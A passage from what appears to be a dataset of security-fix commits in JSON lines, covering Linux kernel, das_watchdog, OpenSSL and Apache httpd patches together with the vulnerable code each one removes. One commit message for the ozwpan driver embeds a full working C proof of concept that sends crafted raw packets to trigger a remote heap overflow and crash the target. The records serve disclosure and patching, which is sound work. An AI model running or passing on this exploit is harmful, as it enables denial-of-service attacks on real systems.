AF_ALG now correctly\nincludes the \"crypto-\" prefix at every level, correctly rejecting \"vfat\":\n\n\tnet-pf-38\n\talgif-hash\n\tcrypto-vfat(blowfish)\n\tcrypto-vfat(blowfish)-all\n\tcrypto-vfat\n\nReported-by: Mathias Krause \nSigned-off-by: Kees Cook \nAcked-by: Mathias Krause \nSigned-off-by: Herbert Xu ", "patch": "@@ -703,3 +703,4 @@ module_exit(mcryptd_exit);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Software async multibuffer crypto daemon\");\n+MODULE_ALIAS_CRYPTO(\"mcryptd\");", "sections": [{"section": "@@ -703,3 +703,4 @@ module_exit(mcryptd_exit);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Software async multibuffer crypto daemon\");\n+MODULE_ALIAS_CRYPTO(\"mcryptd\");", "related": false}]} +{"owner": "kmatheussen", "repo": "das_watchdog", "language": "C", "file_name": "das_watchdog.c", "commit_id": "bd20bb02e75e2c0483832b52f2577253febfb690", "commit_message": "Fix memory overflow if the name of an environment is larger than 500 characters. Bug found by Adam Sampson.", "patch": "@@ -306,7 +306,9 @@ static int checksoftirq(int force){\n \n \n static char *get_pid_environ_val(pid_t pid,char *val){\n- char temp[500];\n+ int temp_size = 500;\n+ char *temp = malloc(temp_size);\n+ \n int i=0;\n int foundit=0;\n FILE *fp;\n@@ -319,6 +321,12 @@ static char *get_pid_environ_val(pid_t pid,char *val){\n \n \n for(;;){\n+ \n+ if (i >= temp_size) {\n+ temp_size *= 2;\n+ temp = realloc(temp, temp_size);\n+ }\n+ \n temp[i]=fgetc(fp); \n \n if(foundit==1 && (temp[i]==0 || temp[i]=='\\0' || temp[i]==EOF)){", "sections": [{"section": "@@ -306,7 +306,9 @@ static int checksoftirq(int force){\n \n \n static char *get_pid_environ_val(pid_t pid,char *val){\n- char temp[500];\n+ int temp_size = 500;\n+ char *temp = malloc(temp_size);\n+ \n int i=0;\n int foundit=0;\n FILE *fp;\n", "related": true}, {"section": "@@ -319,6 +321,12 @@ static char *get_pid_environ_val(pid_t pid,char *val){\n \n \n for(;;){\n+ \n+ if (i >= temp_size) {\n+ temp_size *= 2;\n+ temp = realloc(temp, temp_size);\n+ }\n+ \n temp[i]=fgetc(fp); \n \n if(foundit==1 && (temp[i]==0 || temp[i]=='\\0' || temp[i]==EOF)){", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/btrfs/xattr.c", "commit_id": "5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339", "commit_message": "Btrfs: make xattr replace operations atomic\n\nReplacing a xattr consists of doing a lookup for its existing value, delete\nthe current value from the respective leaf, release the search path and then\nfinally insert the new value. This leaves a time window where readers (getxattr,\nlistxattrs) won't see any value for the xattr. Xattrs are used to store ACLs,\nso this has security implications.\n\nThis change also fixes 2 other existing issues which were:\n\n*) Deleting the old xattr value without verifying first if the new xattr will\n fit in the existing leaf item (in case multiple xattrs are packed in the\n same item due to name hash collision);\n\n*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't\n exist but we have have an existing item that packs muliple xattrs with\n the same name hash as the input xattr. In this case we should return ENOSPC.\n\nA test case for xfstests follows soon.\n\nThanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace\nimplementation.\n\nReported-by: Alexandre Oliva \nSigned-off-by: Filipe Manana \nSigned-off-by: Chris Mason ", "patch": "@@ -29,6 +29,7 @@\n #include \"xattr.h\"\n #include \"disk-io.h\"\n #include \"props.h\"\n+#include \"locking.h\"\n \n \n ssize_t __btrfs_getxattr(struct inode *inode, const char *name,\n@@ -91,7 +92,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \t\t struct inode *inode, const char *name,\n \t\t const void *value, size_t size, int flags)\n {\n-\tstruct btrfs_dir_item *di;\n+\tstruct btrfs_dir_item *di = NULL;\n \tstruct btrfs_root *root = BTRFS_I(inode)->root;\n \tstruct btrfs_path *path;\n \tsize_t name_len = strlen(name);\n@@ -103,84 +104,119 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \tpath = btrfs_alloc_path();\n \tif (!path)\n \t\treturn -ENOMEM;\n+\tpath->skip_release_on_error = 1;\n+\n+\tif (!value) {\n+\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, -1);\n+\t\tif (!di && (flags & XATTR_REPLACE))\n+\t\t\tret = -ENODATA;\n+\t\telse if (di)\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\tgoto out;\n+\t}\n \n+\t/*\n+\t * For a replace we can't just do the insert blindly.\n+\t * Do a lookup first (read-only btrfs_search_slot), and return if xattr\n+\t * doesn't exist. If it exists, fall down below to the insert/replace\n+\t * path - we can't race with a concurrent xattr delete, because the VFS\n+\t * locks the inode's i_mutex before calling setxattr or removexattr.\n+\t */\n \tif (flags & XATTR_REPLACE) {\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name,\n-\t\t\t\t\tname_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n+\t\tASSERT(mutex_is_locked(&inode->i_mutex));\n+\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, 0);\n+\t\tif (!di) {\n \t\t\tret = -ENODATA;\n \t\t\tgoto out;\n \t\t}\n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n \t\tbtrfs_release_path(path);\n+\t\tdi = NULL;\n+\t}\n \n+\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t name, name_len, value, size);\n+\tif (ret == -EOVERFLOW) {\n \t\t/*\n-\t\t * remove the attribute\n+\t\t * We have an existing item in a leaf, split_leaf couldn't\n+\t\t * expand it. That item might have or not a dir_item that\n+\t\t * matches our target xattr, so lets check.\n \t\t */\n-\t\tif (!value)\n-\t\t\tgoto out;\n-\t} else {\n-\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, 0);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n+\t\tret = 0;\n+\t\tbtrfs_assert_tree_locked(path->nodes[0]);\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tif (!di && !(flags & XATTR_REPLACE)) {\n+\t\t\tret = -ENOSPC;\n \t\t\tgoto out;\n \t\t}\n-\t\tif (!di && !value)\n-\t\t\tgoto out;\n-\t\tbtrfs_release_path(path);\n+\t} else if (ret == -EEXIST) {\n+\t\tret = 0;\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tASSERT(di); /* logic error */\n+\t} else if (ret) {\n+\t\tgoto out;\n \t}\n \n-again:\n-\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t name, name_len, value, size);\n-\t/*\n-\t * If we're setting an xattr to a new value but the new value is say\n-\t * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting\n-\t * back from split_leaf. This is because it thinks we'll be extending\n-\t * the existing item size, but we're asking for enough space to add the\n-\t * item itself. So if we get EOVERFLOW just set ret to EEXIST and let\n-\t * the rest of the function figure it out.\n-\t */\n-\tif (ret == -EOVERFLOW)\n+\tif (di && (flags & XATTR_CREATE)) {\n \t\tret = -EEXIST;\n+\t\tgoto out;\n+\t}\n \n-\tif (ret == -EEXIST) {\n-\t\tif (flags & XATTR_CREATE)\n-\t\t\tgoto out;\n+\tif (di) {\n \t\t/*\n-\t\t * We can't use the path we already have since we won't have the\n-\t\t * proper locking for a delete, so release the path and\n-\t\t * re-lookup to delete the thing.\n+\t\t * We're doing a replace, and it must be atomic, that is, at\n+\t\t * any point in time we have either the old or the new xattr\n+\t\t * value in the tree. We don't want readers (getxattr and\n+\t\t * listxattrs) to miss a value, this is specially important\n+\t\t * for ACLs.\n \t\t */\n-\t\tbtrfs_release_path(path);\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n-\t\t\t/* Shouldn't happen but just in case... */\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n+\t\tconst int slot = path->slots[0];\n+\t\tstruct extent_buffer *leaf = path->nodes[0];\n+\t\tconst u16 old_data_len = btrfs_dir_data_len(leaf, di);\n+\t\tconst u32 item_size = btrfs_item_size_nr(leaf, slot);\n+\t\tconst u32 data_size = sizeof(*di) + name_len + size;\n+\t\tstruct btrfs_item *item;\n+\t\tunsigned long data_ptr;\n+\t\tchar *ptr;\n+\n+\t\tif (size > old_data_len) {\n+\t\t\tif (btrfs_leaf_free_space(root, leaf) <\n+\t\t\t (size - old_data_len)) {\n+\t\t\t\tret = -ENOSPC;\n+\t\t\t\tgoto out;\n+\t\t\t}\n \t\t}\n \n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n+\t\tif (old_data_len + name_len + sizeof(*di) == item_size) {\n+\t\t\t/* No other xattrs packed in the same leaf item. */\n+\t\t\tif (size > old_data_len)\n+\t\t\t\tbtrfs_extend_item(root, path,\n+\t\t\t\t\t\t size - old_data_len);\n+\t\t\telse if (size < old_data_len)\n+\t\t\t\tbtrfs_truncate_item(root, path, data_size, 1);\n+\t\t} else {\n+\t\t\t/* There are other xattrs packed in the same item. */\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\t\tif (ret)\n+\t\t\t\tgoto out;\n+\t\t\tbtrfs_extend_item(root, path, data_size);\n+\t\t}\n \n+\t\titem = btrfs_item_nr(slot);\n+\t\tptr = btrfs_item_ptr(leaf, slot, char);\n+\t\tptr += btrfs_item_size(leaf, item) - data_size;\n+\t\tdi = (struct btrfs_dir_item *)ptr;\n+\t\tbtrfs_set_dir_data_len(leaf, di, size);\n+\t\tdata_ptr = ((unsigned long)(di + 1)) + name_len;\n+\t\twrite_extent_buffer(leaf, value, data_ptr, size);\n+\t\tbtrfs_mark_buffer_dirty(leaf);\n+\t} else {\n \t\t/*\n-\t\t * We have a value to set, so go back and try to insert it now.\n+\t\t * Insert, and we had space for the xattr, so path->slots[0] is\n+\t\t * where our xattr dir_item is and btrfs_insert_xattr_item()\n+\t\t * filled it.\n \t\t */\n-\t\tif (value) {\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n-\t\t}\n \t}\n out:\n \tbtrfs_free_path(path);", "sections": [{"section": "@@ -29,6 +29,7 @@\n #include \"xattr.h\"\n #include \"disk-io.h\"\n #include \"props.h\"\n+#include \"locking.h\"\n \n \n ssize_t __btrfs_getxattr(struct inode *inode, const char *name,\n", "related": true}, {"section": "@@ -91,7 +92,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \t\t struct inode *inode, const char *name,\n \t\t const void *value, size_t size, int flags)\n {\n-\tstruct btrfs_dir_item *di;\n+\tstruct btrfs_dir_item *di = NULL;\n \tstruct btrfs_root *root = BTRFS_I(inode)->root;\n \tstruct btrfs_path *path;\n \tsize_t name_len = strlen(name);\n", "related": true}, {"section": "@@ -103,84 +104,119 @@ static int do_setxattr(struct btrfs_trans_handle *trans,\n \tpath = btrfs_alloc_path();\n \tif (!path)\n \t\treturn -ENOMEM;\n+\tpath->skip_release_on_error = 1;\n+\n+\tif (!value) {\n+\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, -1);\n+\t\tif (!di && (flags & XATTR_REPLACE))\n+\t\t\tret = -ENODATA;\n+\t\telse if (di)\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\tgoto out;\n+\t}\n \n+\t/*\n+\t * For a replace we can't just do the insert blindly.\n+\t * Do a lookup first (read-only btrfs_search_slot), and return if xattr\n+\t * doesn't exist. If it exists, fall down below to the insert/replace\n+\t * path - we can't race with a concurrent xattr delete, because the VFS\n+\t * locks the inode's i_mutex before calling setxattr or removexattr.\n+\t */\n \tif (flags & XATTR_REPLACE) {\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name,\n-\t\t\t\t\tname_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n+\t\tASSERT(mutex_is_locked(&inode->i_mutex));\n+\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n+\t\t\t\t\tname, name_len, 0);\n+\t\tif (!di) {\n \t\t\tret = -ENODATA;\n \t\t\tgoto out;\n \t\t}\n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n \t\tbtrfs_release_path(path);\n+\t\tdi = NULL;\n+\t}\n \n+\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n+\t\t\t\t name, name_len, value, size);\n+\tif (ret == -EOVERFLOW) {\n \t\t/*\n-\t\t * remove the attribute\n+\t\t * We have an existing item in a leaf, split_leaf couldn't\n+\t\t * expand it. That item might have or not a dir_item that\n+\t\t * matches our target xattr, so lets check.\n \t\t */\n-\t\tif (!value)\n-\t\t\tgoto out;\n-\t} else {\n-\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, 0);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n+\t\tret = 0;\n+\t\tbtrfs_assert_tree_locked(path->nodes[0]);\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tif (!di && !(flags & XATTR_REPLACE)) {\n+\t\t\tret = -ENOSPC;\n \t\t\tgoto out;\n \t\t}\n-\t\tif (!di && !value)\n-\t\t\tgoto out;\n-\t\tbtrfs_release_path(path);\n+\t} else if (ret == -EEXIST) {\n+\t\tret = 0;\n+\t\tdi = btrfs_match_dir_item_name(root, path, name, name_len);\n+\t\tASSERT(di); /* logic error */\n+\t} else if (ret) {\n+\t\tgoto out;\n \t}\n \n-again:\n-\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t name, name_len, value, size);\n-\t/*\n-\t * If we're setting an xattr to a new value but the new value is say\n-\t * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting\n-\t * back from split_leaf. This is because it thinks we'll be extending\n-\t * the existing item size, but we're asking for enough space to add the\n-\t * item itself. So if we get EOVERFLOW just set ret to EEXIST and let\n-\t * the rest of the function figure it out.\n-\t */\n-\tif (ret == -EOVERFLOW)\n+\tif (di && (flags & XATTR_CREATE)) {\n \t\tret = -EEXIST;\n+\t\tgoto out;\n+\t}\n \n-\tif (ret == -EEXIST) {\n-\t\tif (flags & XATTR_CREATE)\n-\t\t\tgoto out;\n+\tif (di) {\n \t\t/*\n-\t\t * We can't use the path we already have since we won't have the\n-\t\t * proper locking for a delete, so release the path and\n-\t\t * re-lookup to delete the thing.\n+\t\t * We're doing a replace, and it must be atomic, that is, at\n+\t\t * any point in time we have either the old or the new xattr\n+\t\t * value in the tree. We don't want readers (getxattr and\n+\t\t * listxattrs) to miss a value, this is specially important\n+\t\t * for ACLs.\n \t\t */\n-\t\tbtrfs_release_path(path);\n-\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n-\t\t\t\t\tname, name_len, -1);\n-\t\tif (IS_ERR(di)) {\n-\t\t\tret = PTR_ERR(di);\n-\t\t\tgoto out;\n-\t\t} else if (!di) {\n-\t\t\t/* Shouldn't happen but just in case... */\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n+\t\tconst int slot = path->slots[0];\n+\t\tstruct extent_buffer *leaf = path->nodes[0];\n+\t\tconst u16 old_data_len = btrfs_dir_data_len(leaf, di);\n+\t\tconst u32 item_size = btrfs_item_size_nr(leaf, slot);\n+\t\tconst u32 data_size = sizeof(*di) + name_len + size;\n+\t\tstruct btrfs_item *item;\n+\t\tunsigned long data_ptr;\n+\t\tchar *ptr;\n+\n+\t\tif (size > old_data_len) {\n+\t\t\tif (btrfs_leaf_free_space(root, leaf) <\n+\t\t\t (size - old_data_len)) {\n+\t\t\t\tret = -ENOSPC;\n+\t\t\t\tgoto out;\n+\t\t\t}\n \t\t}\n \n-\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n-\t\tif (ret)\n-\t\t\tgoto out;\n+\t\tif (old_data_len + name_len + sizeof(*di) == item_size) {\n+\t\t\t/* No other xattrs packed in the same leaf item. */\n+\t\t\tif (size > old_data_len)\n+\t\t\t\tbtrfs_extend_item(root, path,\n+\t\t\t\t\t\t size - old_data_len);\n+\t\t\telse if (size < old_data_len)\n+\t\t\t\tbtrfs_truncate_item(root, path, data_size, 1);\n+\t\t} else {\n+\t\t\t/* There are other xattrs packed in the same item. */\n+\t\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n+\t\t\tif (ret)\n+\t\t\t\tgoto out;\n+\t\t\tbtrfs_extend_item(root, path, data_size);\n+\t\t}\n \n+\t\titem = btrfs_item_nr(slot);\n+\t\tptr = btrfs_item_ptr(leaf, slot, char);\n+\t\tptr += btrfs_item_size(leaf, item) - data_size;\n+\t\tdi = (struct btrfs_dir_item *)ptr;\n+\t\tbtrfs_set_dir_data_len(leaf, di, size);\n+\t\tdata_ptr = ((unsigned long)(di + 1)) + name_len;\n+\t\twrite_extent_buffer(leaf, value, data_ptr, size);\n+\t\tbtrfs_mark_buffer_dirty(leaf);\n+\t} else {\n \t\t/*\n-\t\t * We have a value to set, so go back and try to insert it now.\n+\t\t * Insert, and we had space for the xattr, so path->slots[0] is\n+\t\t * where our xattr dir_item is and btrfs_insert_xattr_item()\n+\t\t * filled it.\n \t\t */\n-\t\tif (value) {\n-\t\t\tbtrfs_release_path(path);\n-\t\t\tgoto again;\n-\t\t}\n \t}\n out:\n \tbtrfs_free_path(path);", "related": true}]} +{"owner": "openssl", "repo": "openssl", "language": "C", "file_name": "ssl/ssl_locl.h", "commit_id": "98ece4eebfb6cd45cc8d550c6ac0022965071afc", "commit_message": "Fix race condition in NewSessionTicket\n\nIf a NewSessionTicket is received by a multi-threaded client when\nattempting to reuse a previous ticket then a race condition can occur\npotentially leading to a double free of the ticket data.\n\nCVE-2015-1791\n\nThis also fixes RT#3808 where a session ID is changed for a session already\nin the client session cache. Since the session ID is the key to the cache\nthis breaks the cache access.\n\nParts of this patch were inspired by this Akamai change:\nhttps://github.com/akamai/openssl/commit/c0bf69a791239ceec64509f9f19fcafb2461b0d3\n\nReviewed-by: Rich Salz ", "patch": "@@ -1860,6 +1860,7 @@ __owur int ssl_set_peer_cert_type(SESS_CERT *c, int type);\n __owur int ssl_get_new_session(SSL *s, int session);\n __owur int ssl_get_prev_session(SSL *s, unsigned char *session, int len,\n const unsigned char *limit);\n+__owur SSL_SESSION *ssl_session_dup(SSL_SESSION *src, int ticket);\n __owur int ssl_cipher_id_cmp(const SSL_CIPHER *a, const SSL_CIPHER *b);\n DECLARE_OBJ_BSEARCH_GLOBAL_CMP_FN(SSL_CIPHER, SSL_CIPHER, ssl_cipher_id);\n __owur int ssl_cipher_ptr_id_cmp(const SSL_CIPHER *const *ap,", "sections": [{"section": "@@ -1860,6 +1860,7 @@ __owur int ssl_set_peer_cert_type(SESS_CERT *c, int type);\n __owur int ssl_get_new_session(SSL *s, int session);\n __owur int ssl_get_prev_session(SSL *s, unsigned char *session, int len,\n const unsigned char *limit);\n+__owur SSL_SESSION *ssl_session_dup(SSL_SESSION *src, int ticket);\n __owur int ssl_cipher_id_cmp(const SSL_CIPHER *a, const SSL_CIPHER *b);\n DECLARE_OBJ_BSEARCH_GLOBAL_CMP_FN(SSL_CIPHER, SSL_CIPHER, ssl_cipher_id);\n __owur int ssl_cipher_ptr_id_cmp(const SSL_CIPHER *const *ap,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/staging/ozwpan/ozhcd.c", "commit_id": "b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c", "commit_message": "ozwpan: Use unsigned ints to prevent heap overflow\n\nUsing signed integers, the subtraction between required_size and offset\ncould wind up being negative, resulting in a memcpy into a heap buffer\nwith a negative length, resulting in huge amounts of network-supplied\ndata being copied into the heap, which could potentially lead to remote\ncode execution.. This is remotely triggerable with a magic packet.\nA PoC which obtains DoS follows below. It requires the ozprotocol.h file\nfrom this module.\n\n=-=-=-=-=-=\n\n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n\n #define u8 uint8_t\n #define u16 uint16_t\n #define u32 uint32_t\n #define __packed __attribute__((__packed__))\n #include \"ozprotocol.h\"\n\nstatic int hex2num(char c)\n{\n\tif (c >= '0' && c <= '9')\n\t\treturn c - '0';\n\tif (c >= 'a' && c <= 'f')\n\t\treturn c - 'a' + 10;\n\tif (c >= 'A' && c <= 'F')\n\t\treturn c - 'A' + 10;\n\treturn -1;\n}\nstatic int hwaddr_aton(const char *txt, uint8_t *addr)\n{\n\tint i;\n\tfor (i = 0; i < 6; i++) {\n\t\tint a, b;\n\t\ta = hex2num(*txt++);\n\t\tif (a < 0)\n\t\t\treturn -1;\n\t\tb = hex2num(*txt++);\n\t\tif (b < 0)\n\t\t\treturn -1;\n\t\t*addr++ = (a << 4) | b;\n\t\tif (i < 5 && *txt++ != ':')\n\t\t\treturn -1;\n\t}\n\treturn 0;\n}\n\nint main(int argc, char *argv[])\n{\n\tif (argc < 3) {\n\t\tfprintf(stderr, \"Usage: %s interface destination_mac\\n\", argv[0]);\n\t\treturn 1;\n\t}\n\n\tuint8_t dest_mac[6];\n\tif (hwaddr_aton(argv[2], dest_mac)) {\n\t\tfprintf(stderr, \"Invalid mac address.\\n\");\n\t\treturn 1;\n\t}\n\n\tint sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);\n\tif (sockfd < 0) {\n\t\tperror(\"socket\");\n\t\treturn 1;\n\t}\n\n\tstruct ifreq if_idx;\n\tint interface_index;\n\tstrncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);\n\tif (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {\n\t\tperror(\"SIOCGIFINDEX\");\n\t\treturn 1;\n\t}\n\tinterface_index = if_idx.ifr_ifindex;\n\tif (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {\n\t\tperror(\"SIOCGIFHWADDR\");\n\t\treturn 1;\n\t}\n\tuint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;\n\n\tstruct {\n\t\tstruct ether_header ether_header;\n\t\tstruct oz_hdr oz_hdr;\n\t\tstruct oz_elt oz_elt;\n\t\tstruct oz_elt_connect_req oz_elt_connect_req;\n\t} __packed connect_packet = {\n\t\t.ether_header = {\n\t\t\t.ether_type = htons(OZ_ETHERTYPE),\n\t\t\t.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },\n\t\t\t.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t\t},\n\t\t.oz_hdr = {\n\t\t\t.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),\n\t\t\t.last_pkt_num = 0,\n\t\t\t.pkt_num = htole32(0)\n\t\t},\n\t\t.oz_elt = {\n\t\t\t.type = OZ_ELT_CONNECT_REQ,\n\t\t\t.length = sizeof(struct oz_elt_connect_req)\n\t\t},\n\t\t.oz_elt_connect_req = {\n\t\t\t.mode = 0,\n\t\t\t.resv1 = {0},\n\t\t\t.pd_info = 0,\n\t\t\t.session_id = 0,\n\t\t\t.presleep = 35,\n\t\t\t.ms_isoc_latency = 0,\n\t\t\t.host_vendor = 0,\n\t\t\t.keep_alive = 0,\n\t\t\t.apps = htole16((1 << OZ_APPID_USB) | 0x1),\n\t\t\t.max_len_div16 = 0,\n\t\t\t.ms_per_isoc = 0,\n\t\t\t.up_audio_buf = 0,\n\t\t\t.ms_per_elt = 0\n\t\t}\n\t};\n\n\tstruct {\n\t\tstruct ether_header ether_header;\n\t\tstruct oz_hdr oz_hdr;\n\t\tstruct oz_elt oz_elt;\n\t\tstruct oz_get_desc_rsp oz_get_desc_rsp;\n\t} __packed pwn_packet = {\n\t\t.ether_header = {\n\t\t\t.ether_type = htons(OZ_ETHERTYPE),\n\t\t\t.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },\n\t\t\t.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t\t},\n\t\t.oz_hdr = {\n\t\t\t.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),\n\t\t\t.last_pkt_num = 0,\n\t\t\t.pkt_num = htole32(1)\n\t\t},\n\t\t.oz_elt = {\n\t\t\t.type = OZ_ELT_APP_DATA,\n\t\t\t.length = sizeof(struct oz_get_desc_rsp)\n\t\t},\n\t\t.oz_get_desc_rsp = {\n\t\t\t.app_id = OZ_APPID_USB,\n\t\t\t.elt_seq_num = 0,\n\t\t\t.type = OZ_GET_DESC_RSP,\n\t\t\t.req_id = 0,\n\t\t\t.offset = htole16(2),\n\t\t\t.total_size = htole16(1),\n\t\t\t.rcode = 0,\n\t\t\t.data = {0}\n\t\t}\n\t};\n\n\tstruct sockaddr_ll socket_address = {\n\t\t.sll_ifindex = interface_index,\n\t\t.sll_halen = ETH_ALEN,\n\t\t.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t};\n\n\tif (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {\n\t\tperror(\"sendto\");\n\t\treturn 1;\n\t}\n\tusleep(300000);\n\tif (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {\n\t\tperror(\"sendto\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nSigned-off-by: Jason A. Donenfeld \nAcked-by: Dan Carpenter \nCc: stable \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)\n /*\n * Context: softirq\n */\n-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n-\t\t\tint length, int offset, int total_size)\n+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,\n+\t\t\tu8 length, u16 offset, u16 total_size)\n {\n \tstruct oz_port *port = hport;\n \tstruct urb *urb;\n@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n \tif (!urb)\n \t\treturn;\n \tif (status == 0) {\n-\t\tint copy_len;\n-\t\tint required_size = urb->transfer_buffer_length;\n+\t\tunsigned int copy_len;\n+\t\tunsigned int required_size = urb->transfer_buffer_length;\n \n \t\tif (required_size > total_size)\n \t\t\trequired_size = total_size;", "sections": [{"section": "@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)\n /*\n * Context: softirq\n */\n-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n-\t\t\tint length, int offset, int total_size)\n+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,\n+\t\t\tu8 length, u16 offset, u16 total_size)\n {\n \tstruct oz_port *port = hport;\n \tstruct urb *urb;\n", "related": false}, {"section": "@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,\n \tif (!urb)\n \t\treturn;\n \tif (status == 0) {\n-\t\tint copy_len;\n-\t\tint required_size = urb->transfer_buffer_length;\n+\t\tunsigned int copy_len;\n+\t\tunsigned int required_size = urb->transfer_buffer_length;\n \n \t\tif (required_size > total_size)\n \t\t\trequired_size = total_size;", "related": false}]} +{"owner": "apache", "repo": "httpd", "language": "C", "file_name": "include/ap_mmn.h", "commit_id": "cd2b7a26c776b0754fb98426a67804fd48118708", "commit_message": "SECURITY: CVE-2015-3183 (cve.mitre.org)\n\nReplacement of ap_some_auth_required (unusable in Apache httpd 2.4)\nwith new ap_some_authn_required and ap_force_authn hook.\n\nSubmitted by: breser\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684524 13f79535-47bb-0310-9956-ffa450edef68", "patch": "@@ -482,14 +482,16 @@\n * 20150222.0 (2.5.0-dev) ssl pre_handshake hook now indicates proxy|client\n * 20150222.1 (2.5.0-dev) Add keep_alive_timeout_set to server_rec\n * 20150222.2 (2.5.0-dev) Add response code 418 as per RFC2324/RFC7168\n+ * 20150222.3 (2.5.0-dev) Add ap_some_authn_required, ap_force_authn hook.\n+ * Deprecate broken ap_some_auth_required.\n */\n \n #define MODULE_MAGIC_COOKIE 0x41503235UL /* \"AP25\" */\n \n #ifndef MODULE_MAGIC_NUMBER_MAJOR\n #define MODULE_MAGIC_NUMBER_MAJOR 20150222\n #endif\n-#define MODULE_MAGIC_NUMBER_MINOR 2 /* 0...n */\n+#define MODULE_MAGIC_NUMBER_MINOR 3 /* 0...n */\n \n /**\n 